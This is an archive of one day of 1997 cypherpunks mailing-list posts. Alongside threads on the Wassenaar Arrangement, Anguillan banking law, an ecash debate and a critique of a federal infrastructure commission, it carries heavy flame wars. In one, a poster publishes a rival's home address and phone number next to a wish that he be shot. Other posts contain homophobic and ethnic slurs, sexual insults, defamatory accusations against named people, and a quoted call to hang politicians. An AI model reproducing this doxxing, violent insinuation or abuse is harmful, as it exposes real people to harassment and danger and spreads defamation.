you'll use your own and claim others have spammed the list?

Go away Vebis!

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.







From sunder at brainlink.com  Mon Mar 10 08:15:23 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Mon, 10 Mar 1997 08:15:23 -0800 (PST)
Subject: Something is genetically wrong with Vebis
In-Reply-To: <9703092356.AA01951@uu.psi.com>
Message-ID: <Pine.SUN.3.91.970310111401.6247B-100000@beast.brainlink.com>


On Sun, 9 Mar 1997 dlv at bwalk.dm.com wrote:

> Uh, huh huh, sticking my head in the microwave while it is on is
> so cool. huh huh, huh huh, huh huh,

Do it again Vebis, that was cool.  Huh huh, huh huh, huh huh.  Your 
ROT13'ed brained is showing signs of intelligence again - too bad it is 
only as intelligent as a KGB agent's left tesitcle after it has been 
stepped on.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.







From vince at offshore.com.ai  Mon Mar 10 08:35:35 1997
From: vince at offshore.com.ai (Vincent Cate)
Date: Mon, 10 Mar 1997 08:35:35 -0800 (PST)
Subject: Anguilla
In-Reply-To: <199703101510.TAA22641@ns2.emirates.net.ae>
Message-ID: <Pine.LNX.3.95.970310124029.8466A-100000@online.offshore.com.ai>



Vince:
> I am going to have to check tomorrow and see about thse star and
> pound keys.  It would amuse me if we had seen the birth of an urban
> legend.

It is really true.  Cable and Wireless has disabled the pound and star
keys on *all* of the pay phones in the whole country (20 or so).  I am
sort of amazed because I have been here 2.5 years and never heard of this
till this last week.  I don't use pay phones much, but I wonder if maybe
this is a new thing. 

   -- Vince







From real at freenet.edmonton.ab.ca  Mon Mar 10 08:37:07 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 10 Mar 1997 08:37:07 -0800 (PST)
Subject: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <199703101255.HAA17283@dhp.com>
Message-ID: <Pine.A41.3.95.970310093034.80220C-100000@fn2.freenet.edmonton.ab.ca>


Vulis time to take your pill.






From sunder at brainlink.com  Mon Mar 10 08:49:13 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Mon, 10 Mar 1997 08:49:13 -0800 (PST)
Subject: Something is genetically wrong with subhuman Vulis
In-Reply-To: <g03B4D188w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970310114926.6247C-100000@beast.brainlink.com>


On Sun, 9 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Graham-John Bullers <real at freenet.edmonton.ab.ca> writes:
> 
> > Vulis what has this to do with cypherpunks
> 
> What has Arsen "Ray" Arachelian to do with cypherpunks?
> 
> Nothing, because he doesn't know anything about cryptography.

Uh huh huh, Vebis you iz sooo smart, huh huh, huh huh, I am sooo 
impressed by you. Uh huh, huh huh.  Get your brains out of the microwave, 
they are stinking up the place.

> Graham-John, when I spoke to you on the phone, you sounded like
> a reasonable guy.  Right now you're behaving like a total twit.
> People are probably killfiling you by the  dozen. It's just too
> bad, because I know from alt.2600 that you're capable of saying
> something interesting sometimes.  Please stop being an asshole.

You are projecting your attributes on others again.  Look closely in that 
mirror Vebis, that is a reflection of you, not of Graham-John.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.







From sunder at brainlink.com  Mon Mar 10 09:33:38 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Mon, 10 Mar 1997 09:33:38 -0800 (PST)
Subject: VulisBOT FAQ
In-Reply-To: <199703101324.HAA15370@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970310115850.6247D-100000@beast.brainlink.com>


On Mon, 10 Mar 1997 ichudov at algebra.com wrote:

> lucifer Anonymous Remailer wrote:
> > > distributing it via this list, I still consider it copyrighted material,
> > > for what that's worth. It will eventually be published, in some form, in a
> > > magazine, as part of a much longer article.
> > 
> > Right - Chris Platt wants everybody to believe that he's a journalist.
> > Just ask all the people on sci.cryo who think he's just a lying crook.
> > If the drunkard publishes this crap, it'll be at his own expense.
> 
> Hey, there is no such newsgroup -- sci.cryo.
> 
> I suggest that interested readers check out DejaNews and make sure.

Of course, this is more Vulisware generated bullshit.  How can you tell 
if Vulis is lying? He writes messages.

How does VulisWare operate?

VulisWare 1.0 is a lame AI spamming device whose only purpose in life is 
to generate havoc on mailing list.  As of this writing the VulisWare bot 
is only running on the cypherpunks list.

It generates rants, raves and lies about whomever it targets resorting to
ethnic, racist, homophobic, pedophiliac, dandruff oriented, and sometimes
outright outrageously bizzare made up stories.  These are selected by a
complex Pseudo RandomNumber Generator which uses its wife process's PMS
cycle as a seed. 

Failing that, it points out spelling errors.

It does net searches to find out info on the target, then posts the 
target's phone number, address, and employer info online asking that all 
spam the target and their employer. 

If that fails to have any effect, it sends its lies to the targets 
employers and calls up its target employer to find out information on 
them, or to slander them.

If it can't find out anything about the target, it makes up lies of 
outrageous proportions (such as quoted above) and posts them.  
[Apparently the VulisBot has recently watched a Babylon 5, where the Big 
Lie algorythm is used agains B5 - of all things, the big lie issuers 
claimed those who run B5 had cryogenically frozen people.]

It keeps a database of lies used on each target, then repeats the lies 
over and over again - this is attributed to the KGB Big Lie Algorythm 
(TM of the KGB, copyrighted and patented by the KGB).  For those 
unfamiliar with this algorythm, the idea is that if you repeat a big lie 
enough times, people will believe it.

Because of this, it must constantly post anonymous - and tentacle 
versions of the same lie.  Following the tentacles of these other folks 
leads back to dm.com.

Further, one mutation of the VulisBOT is stuck in a loop posting 
small anonymous slander several times a day aimed at Tim May.

Anything the VulisBot says should carry the following warning "WARNING: 
The Surgeon General has determined that reading Vulis sent mail can cause 
stupidity, brain failure, and sometimes laughter.  At no time are you to 
believe anything sent by Vulis or its tentacles."

The VuisBot's only purpose in life is to cause havoc and chaos.  It gets 
pleasure from this.  At times if it is really bored, it will send huge 
texts of crap to the list in hopes of filling up the mailboxes of those 
subscribed to the list.

In truth, the VulisBot has only succeded to strengthen the  cypherpunks 
movement as several mailing lists have now been created.  Where 
originally there was one, there are now three!  VulisBot believes it is 
hurting the list.  In truth it is helping the cypherpunks movement, 
though granted it is causing much spam and noise, it has only made us 
stronger.

Short of an accidental NYPD hollow point bullet striking by accident in
vecinity of 67-67 Burns Street, Forrest Hills, NY 11375 (718) 261-6839,
there is a known cure: To receive VulisFree mail (*) you may subscribed to
one of several filtered mailing lists.  Info on one such list is available
by pointing your web browser at http://www.sundernet.com/crypto.html. 
This list in particular has grealy grown in size due to VulisBot's
activities. 

Other cures: setup procmail or another mail filter and immediatly delete 
anything with the word Vulis in the header.


(*) Even though Vulis is known to be insane, as all insane people are 
known to, even Vulis occasionally (once in a blue moon) will post a 
coherent, sane, and useful message.  The filtered cypherpunks list 
reserves the right to forward such mail.  Granted, this almost never 
happens, do not be shocked if it does.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.







From m1tca00 at FRB.GOV  Mon Mar 10 09:59:30 1997
From: m1tca00 at FRB.GOV (Tom Allard)
Date: Mon, 10 Mar 1997 09:59:30 -0800 (PST)
Subject: # (was Re: Anguilla)
In-Reply-To: <199703101510.TAA22641@ns2.emirates.net.ae>
Message-ID: <199703101746.MAA12603@bksmp2.FRB.GOV>



> [...] BTW a 'pound' symbol is NOT the same as a 'hatch', fer chrissake!
> While I'm on the soapbox, a 'hash' is NOT a 'hatch' as well ... but that's
> a losing battle.

What, you can't deal with a language that has synonyms or something?

>From the Hacker Jargon file (2.9.10):

> :ASCII:: [American Standard Code for Information Interchange]
>
> [...]
>
>  #
>     Common: number sign; pound; pound sign; hash; sharp; {crunch}; hex;
>     [mesh].  Rare: grid; cross-hatch; oc-to-thorpe; flash; <square>,
>     pig-pen; tic-tac-toe; scratchmark; thud; thump; {splat}.
>
> [...]


Note that the Jargon File doesn't list "#" as a "hatch" at all, and calls
"cross-hatch" is rare.

rgds-- TA  (tallard at frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D







From sunder at brainlink.com  Mon Mar 10 11:31:07 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Mon, 10 Mar 1997 11:31:07 -0800 (PST)
Subject: # (was Re: Anguilla)
In-Reply-To: <199703101746.MAA12603@bksmp2.FRB.GOV>
Message-ID: <Pine.SUN.3.91.970310143217.6247E-100000@beast.brainlink.com>


On Mon, 10 Mar 1997, Tom Allard wrote:

> > :ASCII:: [American Standard Code for Information Interchange]
> >
> > [...]
> >
> >  #
> >     Common: number sign; pound; pound sign; hash; sharp; {crunch}; hex;
> >     [mesh].  Rare: grid; cross-hatch; oc-to-thorpe; flash; <square>,
> >     pig-pen; tic-tac-toe; scratchmark; thud; thump; {splat}.
> >
> > [...]
> 
> 
> Note that the Jargon File doesn't list "#" as a "hatch" at all, and calls
> "cross-hatch" is rare.

A friend of mine calls this "the little fence"; this was coined by a 
clueless client who logged in as root, but didn't know what to do next.  
As in "Ok, I am at the little fence, what now?"

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.







From cp at panix.com  Mon Mar 10 12:24:52 1997
From: cp at panix.com (Charles Platt)
Date: Mon, 10 Mar 1997 12:24:52 -0800 (PST)
Subject: More proof that Charles Platt is... etc etc etc
In-Reply-To: <199703101255.HAA17283@dhp.com>
Message-ID: <Pine.SUN.3.91.970310151800.11563B-100000@panix.com>


On Mon, 10 Mar 1997, Vulis wrote:

> Right - Charles Platt is a high school dropout who bought his B.A. in
> journalism from a mail order college advertized in the National
> Enquirer.

I do not have a B.A. in journalism and never attended an American high
school, but with the exception of this small error, Vulis paints a pretty
accurate picture. 

Of course, I may be lying pathologically, and am probably drunk.

--CP

> Who cares what Charles Platt thinks - he's just an alcoholic crackpot.

I rather like this. May I use this as my .sig line, or would you claim 
that it is protected by copyright? If so, could I purchase a license to 
use it as my .sig line? Just tell me where to send the check.





From declan at well.com  Mon Mar 10 12:29:16 1997
From: declan at well.com (Declan McCullagh)
Date: Mon, 10 Mar 1997 12:29:16 -0800 (PST)
Subject: Wassenaar Arrangement and "sensitive dual-use items"
In-Reply-To: <199703092021.FAA11440@ns.barrier-free.co.jp>
Message-ID: <v03007806af4a1d46115f@[168.161.105.191]>


I got a copy of what I thought was the Arrangement this morning from a
source within the State Department.

It's 16 pages, with five appendices and a few pages of explanatory materials.

One of my favorite parts, sure to fuel cypherparanoia: "IX.
Confidentiality. Information exchanged will remain confidential and will be
treated asd privileged diplomatic communications. This confidentiality will
extend to any use made of the information and any discussion among
Participating states."

However, my copy seems to be much shorter than the one Hayashi has an
excerpt of, and one of the appendices -- the last one, Appendix 5 -- is
empty. That's the one entitled "List of Dual-Use Goods and Technologies."

Crypto is not mentioned anywhere by name in this document. Rather, the code
phrase seems to be "sensitive dual-use items" that could be "a cause for
serious concern to the Participating States."

-Declan



At 5:21 AM +0900 3/10/97, Hayashi_Tsuyoshi wrote:
>Now I uploaded a short short memo of CATEGORY 5 PATR 2 of
>the Wassenaar Arrangement.
>
>  http://www.barrier-free.co.jp/a2z/c/
>    CRYPTON/box1997/19970310-1-wassenaar-cat5.2.html
>
>If someone know (have) full text, please tell me.
>
># To: Mr. John Young:
># If your are OK, please add this to your crypto-concerned
># lib. and redistribute on your web page.  Thanks.
>
>///hayashi
>
>P.S.
>Sorry for my delay job.



-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From lucifer at dhp.com  Mon Mar 10 14:00:24 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 10 Mar 1997 14:00:24 -0800 (PST)
Subject: ElGamal
Message-ID: <199703102200.RAA05727@dhp.com>


Timmy C[ocksucker] May is a pimply dweeb sitting at a computer chortling at his 
own imagined cleverness.

       ='''
       c oo Timmy C[ocksucker] May
       |  \
         -






From take at barrier-free.co.jp  Mon Mar 10 14:23:14 1997
From: take at barrier-free.co.jp (Hayashi_Tsuyoshi)
Date: Mon, 10 Mar 1997 14:23:14 -0800 (PST)
Subject: Wassenaar Arrangement and "sensitive dual-use items"
In-Reply-To: <v03007806af4a1d46115f@[168.161.105.191]>
Message-ID: <199703102221.HAA13498@ns.barrier-free.co.jp>


On Mon, 10 Mar 1997 15:29:00 -0500, Declan McCullagh said:
 >I got a copy of what I thought was the Arrangement this morning from a
 >source within the State Department.
 >
 >It's 16 pages, with five appendices and a few pages of explanatory materials.
[..]
 >However, my copy seems to be much shorter than the one Hayashi has an

In my far memory, it was about 50-70 pages.  It seems to
be a digest or a boneless version.

====

Each OECD member country ought to localize the Wassenaar
Arrangement and make effect it in each country.  So, I
think you can get the localized version of it from http:
//www.access.gpo.gov/ or else...

In Japan, the W.A. has taken from Sep 13, 1996.  [Source:
Nikkei Shinbun (evening), Aug 20, 1996, side 3]

## for my use -> XURL: X.19960820JST.newspaper:xy//
## Nekkei%evening/3 at 3/x?y?//

Although I have not seen it, there should be the Japanese
translated version of the W.A.

///hayashi





From take at barrier-free.co.jp  Mon Mar 10 14:32:36 1997
From: take at barrier-free.co.jp (Hayashi_Tsuyoshi)
Date: Mon, 10 Mar 1997 14:32:36 -0800 (PST)
Subject: Wassenaar Arrangement
In-Reply-To: <1.5.4.32.19970309220727.00705138@pop.pipeline.com>
Message-ID: <199703102231.HAA13652@ns.barrier-free.co.jp>


On Sun, 09 Mar 1997 17:07:27 -0500, John Young said:
 >The doc is on my site at:
 >
 >   http://jya.com/wassnr52.htm

I checked an above page out now.  Thanks.

# Sorry too short.

///hayashi





From rod at wired.com  Mon Mar 10 16:15:27 1997
From: rod at wired.com (Roderick Simpson)
Date: Mon, 10 Mar 1997 16:15:27 -0800 (PST)
Subject: Ecash Brain Tennis
Message-ID: <v03007809af4a44bdef24@[204.62.132.248]>


Heya. We've got an interesting debate going in Brain Tennis on the
implications of Ecash - Robert Hettinga of the Digital Commerce Society and
Kawika Daguio of the American Bankers Association. Bob thinks ecash (and
specifically digital bearer certificates) will lead to the extinction of
government and other financial institutions, while Kawika contends a need
for trust will always be prevalent and ecash will therefore only strengthen
existing financial structures.

The debate continues through next week - take a look at:

http://www.braintennis.com/

and post in the public Threads at:

http://www.braintennis.com/cgi-bin/interact/replies_all?msg.39955


Best,
Rod


Roderick Simpson                        rod at wired.com
Associate Producer...............The HotWired Network
www.braintennis.com               www.wiredsource.com







From dlv at bwalk.dm.com  Mon Mar 10 16:41:59 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 16:41:59 -0800 (PST)
Subject: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <Pine.A41.3.95.970310093034.80220C-100000@fn2.freenet.edmonton.ab.ca>
Message-ID: <9kDD4D2w165w@bwalk.dm.com>


Graham-John Bullers <real at freenet.edmonton.ab.ca> writes:

> Vulis time to take your pill.
> 

It's too bad your mother didn't take her pill.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Mon Mar 10 16:42:31 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 16:42:31 -0800 (PST)
Subject: The Pro-CODE Bill could make things worse!
In-Reply-To: <199703101527.HAA22155@toad.com>
Message-ID: <LRDD4D4w165w@bwalk.dm.com>


"Peter Trei" <trei at process.com> writes:

> Someone calling themselves "Tim May" wrote:
> > The only solution is to use crypto anarchy to destabilize the system and,
> > hopefull, see them swinging by their necks in front of the Washington
> > Monument. Nearly every politician I'm aware of has richly earned the death
> > penalty, and I hope to see in my lifetime justice carried out.
> 
> Tim:
> 
> It looks like Jim Bell is faking mail from you to the list.
> 

Sometimes even Tim May says things I wholeheartedly agree with.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Mon Mar 10 16:42:54 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 16:42:54 -0800 (PST)
Subject: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <199703101324.HAA15370@manifold.algebra.com>
Message-ID: <aTDD4D5w165w@bwalk.dm.com>


ichudov at algebra.com (Igor Chudov @ home) writes:

> lucifer Anonymous Remailer wrote:
> > > distributing it via this list, I still consider it copyrighted material,
> > > for what that's worth. It will eventually be published, in some form, in 
> > > magazine, as part of a much longer article.
> > 
> > Right - Chris Platt wants everybody to believe that he's a journalist.
> > Just ask all the people on sci.cryo who think he's just a lying crook.
> > If the drunkard publishes this crap, it'll be at his own expense.
> 
> Hey, there is no such newsgroup -- sci.cryo.
> 
> I suggest that interested readers check out DejaNews and make sure.
> 
> ... rest deleted ...
> 
> 	- Igor.

I believe the anonymous poster meant "sci.cryology".  Charles Platt has
earned himself quite a reputaion there - a liar, a spammmer, and a crackpot.

P.S.  Is Charles Platt gay and/or Armenian?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Mon Mar 10 16:42:57 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 10 Mar 1997 16:42:57 -0800 (PST)
Subject: More proof that Charles Platt is a pathological liar and a crook
In-Reply-To: <199703101324.HAA15370@manifold.algebra.com>
Message-ID: <e4DD4D6w165w@bwalk.dm.com>


cypherpunks-errors at toad.com writes:

> lucifer Anonymous Remailer wrote:
> > > distributing it via this list, I still consider it copyrighted material,
> > > for what that's worth. It will eventually be published, in some form, in 
> > > magazine, as part of a much longer article.
> > 
> > Right - Chris Platt wants everybody to believe that he's a journalist.
> > Just ask all the people on sci.cryo who think he's just a lying crook.
> > If the drunkard publishes this crap, it'll be at his own expense.
> 
> Hey, there is no such newsgroup -- sci.cryo.
> 
> I suggest that interested readers check out DejaNews and make sure.
> 
> ... rest deleted ...
> 
> 	- Igor.


Actually, I think the anonymous poster meant "sci.cryonics".  That's where
Charlie Platt has been spamming Usenet with bizarre ads for his "popsicle
corpses" business, and where his past business associates have exposed him as
a drunkard and a pathological liar.  Just look in DejaNews.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From real at freenet.edmonton.ab.ca  Mon Mar 10 18:24:16 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Mon, 10 Mar 1997 18:24:16 -0800 (PST)
Subject: ElGamal
In-Reply-To: <199703102200.RAA05727@dhp.com>
Message-ID: <Pine.A41.3.95.970310192052.26070B-100000@freenet.edmonton.ab.ca>




On Mon, 10 Mar 1997, lucifer Anonymous Remailer wrote:

> Timmy C[ocksucker] May is a pimply dweeb sitting at a computer chortling at his 
> own imagined cleverness.
> 
>        ='''
>        c oo Timmy C[ocksucker] May
>        |  \

Vulis what has this to do with cypherpunks.






From vince at offshore.com.ai  Mon Mar 10 20:39:04 1997
From: vince at offshore.com.ai (Vincent Cate)
Date: Mon, 10 Mar 1997 20:39:04 -0800 (PST)
Subject: Money Laundering (fwd)
In-Reply-To: <Pine.LNX.3.95.970311004307.594A-100000@online.offshore.com.ai>
Message-ID: <Pine.LNX.3.95.970311004319.519E-100000@online.offshore.com.ai>




> On Thu, 6 Mar 1997, Vincent Cate wrote:
> > So we had like 50 people from FC97 asking questions of several Anguillian
> > lawyers.  At the moment there is no law against money laundering.  But
> > they are thinking of having a law (drafts out) that would make money
> > laundering a crime. 
> 
> This puzzles me. I missed some of the session you refer to, but I did do 
> an interview with Victor Banks, the Minister of Finance, and Lynwood 
> Bell, whose Hansa Bank is the last surviving indigenous Anguillan bank, 
> and both of them were very very definite that money laundering is 
> absolutely prohibited.

Ya, absolutely prohibited.  But not by law, yet.  Soon come.

> Were they just putting a good face on things for the press? I'm quite 
> willing to believe this. But how can we know for sure, either way?

No, they really don't want any money laundering.  Maybe they were holding
off on that law change so that the USA gov could run a money laundering
bank here for awhile.  But the US seems to think their bank has done
enough money laundering and they shut it down. 

   --  Vince






From canthony at info-nation.com  Mon Mar 10 20:51:45 1997
From: canthony at info-nation.com (Charles Anthony)
Date: Mon, 10 Mar 1997 20:51:45 -0800 (PST)
Subject: (Fwd) President's Commission on Critical Infrastructure Protec
Message-ID: <199703110451.WAA03729@bitstream.net>


------- Forwarded Message Follows -------
Date:          Mon, 10 Mar 1997 14:22:28 -0800 (PST)
From:          Phil Agre <pagre at weber.ucsd.edu>
To:            rre at weber.ucsd.edu
Subject:       President's Commission on Critical Infrastructure Protection 
Reply-to:      rre-maintainers at weber.ucsd.edu

[I got a call inviting me to participate in the Los Angeles hearing of
this thing.  It's always hard to tell whether you have a chance to affect
their thinking or whether you're just letting them claim to have consulted
widely before they release their already-written report.  I wasn't able
to return their messages right away because I'm on the move and can't find
a payphone that's programmed to let me call them back at their 888 number. 
(Argh!  Finding a free Internet terminal to send this message, however,
was no problem.)  They tell me that the Los Angeles hearing is on Thursday,
so if you (unlike me) don't have a job or something and want to give them a
firm but polite piece of your mind, you might be interested in showing up.]

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Date: Sat, 8 Mar 1997 08:10:14 -0800 (PST)
From: "Brock N. Meeks" <brock at well.com>
To: cwd at vorlon.mit.edu
Subject: CWD--Searching for Toto

CyberWire Dispatch // Copyright 1997 // March 1997

Jacking in from the "Man Behind the Curtain" port:

Here... March This
by Lewis Koch
CWD Special Correspondent

Chicago --You better not hack, better not phreak  -- The
President's Commission on Critical Infrastructure Protection
[http://www.pccip.gov] is coming to town.

This behind closed doors Commission holds the key to America's
most precious civil liberty chastity belt:  Privacy.  And now
it's going on tour.  That right, the Commission is coming to a
town near you, a dog-and-pony road trip whose tour jackets are
read:  MADE in the NSA.  

The Commission's goal during the tour is to hear from the people,
to collect ideas about how to protect the critical infrastructure
from... from... why the newest threat (ominous music) to our
national well being now that the Sovs are gone, Saddam's waiting
for a bullet and the Chicoms are turning capitalists -- (scary
music swells)  - "cyber-terrorists" attacking our so-called
"critical infrastructures" through devious computer hacking
raids.  Honest.

And yet, even as members of the Commission smile politely and nod
their graying heads, they are busy trying to figure out (read:
Justify) just how to rewrite U.S. laws which would lift, or at least
modify, the decades old ban that keeps our nation's top spooks
from the National Security Agency from gathering intelligence on
you and me.  

Which is not to say these kats don't have an ironic sense of
humor.  One of their first public debuts will be in San Francisco
during next week's Computers, Freedom and Privacy conference.  Of
course, if you can make it to CFP, you might try the Los Angeles,
California,  Public Works Hearing Room, City Hall, room 350,
third floor, starting at 10 a.m.   and if you can't grok with the
freaks in L.A. or the cypherpunks in San Francisco, perhaps you
can make it to Commission's other scheduled stops in Atlanta,
Houston, St. Louis or Boston.   (Call now, operators are standing
by, 202-828-8869, ask for Liz.)

Between all his strenuous fund raising efforts, President Clinton
last July found the time to form a this Commission to inquire
into the question of whether this nation has protected its
precious physical and cyber innards,  namely electric power, gas
and oil, telecommunications, banking and finance, transportation,
water supply, emergency services, and of course, continuity of
government services, and...the Internet.

By this time the Government has caught on to the fact that the
Internet is no longer a fun toy for academics and young people
but rather but serious business for people who bustle around or
sleep over at the White House. There is money to be made on the
Net, power to be wielded.

There are also some big bucks to be spent, billions maybe, on
what will almost certainly be efforts to "make things safe" from
cyberterrorism.  

The most important job this Commission, however, will be to
direct attention away from the real issues: who was/is
responsible for developing weak, vulnerable infrastructures in
this country in the first place. (Pay no attention to the men
behind the curtain, the men who built the crumbling
infrastructures of Internet Central in the first place.)

Second, while it would be foolish to deny that problems exists
with thieves who use computers and cyberspace, where some child
pornography and a whole hell of a lot of money laundering takes
place, cyberspace is merely a reflection of society, the good and
the bad and a lot in between.

What then, do "cyber threats "actually look like?  Who might
carry them out.  How? Where?   And who will lead the effort to
gather, collate, fold and staple all this valuable information?
A recognized Internet expert?  Someone with extensive experience
in networks and cross-platform computing?  Nope... not for Bill
Clinton.   Just wouldn't do.

No, sir, what we need to combat terrorism is, well, a goddamn,
real life combat veteran, by gwad!  Enter Robert T. March,
chairman of this Infrastructure Protection Task Force.  You can
call him "Bob" or simply "The General" will do because, well,
that's what he did most of his life and besides, it has a real
nice ring to it.

The executive order creating this Commission states that the
chairman be "from outside the Federal government," which Marsh
is, technically, since he retired from the military in 1989.  He
still collects his "inside" the Federal government military
retirement pay though.  Question is, do you want someone who
might played a part creating the mess, now deciding how to fix
it?

The background information on General Marsh is kinda skimpy, at
least for someone who spent the vast majority of his adult life,
rising to the rank of General.  He's 73,  a West Point graduate,
a resident Alexandria, a tony Virginia suburb a stone's throw
from Washington, D.C.

 "His last assignment was serving as the commander of the Air
Force Systems Command, where he directed the research,
development, test and acquisition of aerospace systems for the
Air Force," reads his brief bio on the Web page.  So we can at
least legitimately guess that he was heavy into some kinds of
high tech R&D and Procurement stuff, pushing paper and awarding
big time contracts.

It seems that following his retirement, Marsh marched right back
into research, development, test and acquisition, only, well, on
the other side.

"He served as the first chairman of Thiokol Corp
[http://www.thiokol.com/]," his bio reads, "as it transitioned
from Morton -Thiokol in 1989 to separate company status."

(Remember the Challenger Disaster in 1986?
[http://www.fas.org/spp/51L.html] Can you spell O-rings? If you
click on the company's Web page history section,
[http://www.thiokol.com/History/History.htm#HistoryOfCompany]
this seems to be a non-event.  Could there have been two
Morton-Thiokol companies?)

Marsh is a very active senior, serving on the board and as a
stockholder active in a surprising number of other high tech
ventures, some or all of which could conceivably wind up
providing all kinds of high priced of technical goodies to combat
bad guys bent on physical and cyber destruction of our dear,
up-until-now unprotected infrastructures.

And according to public information office of the Commission,
Marsh intends on keeping his corporate goodies "but at a reduced
compensation" because he was merely "designated" by the President
-- which in White House jargon means...whatever the hell one
wants it to mean-- as long as you don't have to give up the stock
and the options and the director's fees  (Being "designated"
means never having to say I'm sorry.).

Marsh also has strong ties to CAE Electronics,
[http://www.cae.ca/cae_electronics_inc/cae_electronics_inc.html]
a new U.S. company which markets high tech stuff. CAE has a
Canadian papa, which, among the high tech goodies it markets are
"Air Traffic Management Systems" and "Engineering and Software
Support for Weapons Systems." So, having someone on the
Director's payroll in the States, someone with 35 years of
experience in the United States Air Force, makes good, er,
business sense.

Marsh also owns 40,000 shares and makes $8,000.00 a year plus
expenses for his directorship in Teknowledge,
[http://www.teknowledge.com/company/company.html] a Palo Alto
high tech firm parked behind a fence and leafy trees.
Teknowledge is very interested in communications and the
Department of Defense.  Here is how the company describes some of
what it does:

"Since the DoD and many commercial businesses plan to conduct
large-scale operations over international computer networks
similar to the Internet, much of the Teknowledge's current and
future project focus is in providing network associate systems to
make access to knowledge easier, and network accelerators to make
knowledge access over networks faster and more cost effective."

So, we're taking marketing here, not rocket science;  it's easy
to see how Teknowledge might be a "good fit" for any computer
infrastructure "hardening" contracts. Cyberwarriors already
have a name for it: "Minimum Essential Information Infrastructure (MEII)
also known as "emergency lanes on the information highway."

Marsh is also a director of Comverse Government Systems
Corp.[http://www.cis.comverse.com/]. Among the things that
Comverse makes are digital monitoring systems for law enforcement
and intelligence agencies. Oh?  Yes.  Digital wiretapping,
monitoring,  as in...why...yes...of course.  The perfect party
gift for the FBI in search of the hackers who put on those nasty
things on the Justice Department Web site.

Marsh also is a trustee of MITRE Corp, which, we see
[http://www.fast.org/irp/contract/m.htm], is into air defense and
other command, control, communications, and intelligence systems
used by Department of Defense clients.  The company's ties to the
defense intelligence community go back to the late 1950, with
project code names such as HAVE STARE and STEEL TRAP.

And when the General takes his World Tour back home D.C. will we
ever see it's findings?  The Commission isn't bound by the
Freedom of Information Act, so we don't have those thumb screws
to turn.  However, the Commission is governed by the Federal
